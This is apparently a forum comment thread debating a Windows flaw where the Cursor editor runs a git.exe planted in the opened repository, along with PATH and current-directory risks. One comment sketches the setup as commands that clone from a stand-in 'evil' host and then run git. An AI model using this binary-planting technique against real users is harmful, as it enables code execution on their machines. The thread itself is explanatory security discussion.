[Illniyar]

It's pretty weird for cursor to run arbitrary exe file without prompting, and alarming that the researchers did not get a proper response for months.

But the example with calculator is a bit misleading I think, you'll have to have a malicious exe already in the system and downloaded, and if cursor tried to run my understanding is that ACL should immediately kick in and you'll be asked for permission to run a new, unsigned app for the first time.

You'll have to have ACL disabled completely for this to be exploitable.

[shitter]

And what'll the prompt say? "Do you want to run git.exe?"? I'll probably assume Cursor needs to run git but permissions got messed up somewhere and click right through that.

I haven't used Windows in a while so pardon if I'm missing something.

[Illniyar]

Ostensibly you've ran git before and never saw something like that, seeing a security warning on running git should raise some eyebrows.

[jofzar]

I'm not a windows developer or a ide developer, but I would check the hash against known good git.exe and then only run if it matches it.

[x3n0ph3n3]

Same thing happens if I have a:

1) PS1 that displays the current git branch

2) Include the current directory in my PATH

Should we file a high severity CVE with bash now?

[loumf]

It’s been known for decades that you should never put your current directory in your PATH. There are endless opportunities for vulnerabilities then. I learned this in college in the 80’s (by not following it and getting owned).

[x3n0ph3n3]

Yet PowerShell does it by default.

[julianz]

I don't think it does?

   > cd C:\Temp
   > copy "C:\Program Files\Git\bin\git.exe" .\fred.exe
   > fred
   fred: The term 'fred' is not recognized as a name of a cmdlet, function, script file, or executable program.
   Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

[jwolfe]

If bash placed the current directory in your PATH by default, then yes.

[lyu07282]

Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status

The last line would execute git.exe from the cloned repo, wouldn't it?

[frabera]

No, `git` uses the binary in path, to use the repo file it should be `./git.exe`

[kubanczyk]

On Linux.

Look for `NoDefaultCurrentDirectoryInExePath` if you want to learn about Windows.

[shitter]

I would file a CVE for any program that places untrusted content into PATH and invokes non-fully qualified executable names - not for the shell.

[Firehawke]

Not with bash. If your distro is putting ./ into the path then that's absolutely a high severity CVE with your distro's config.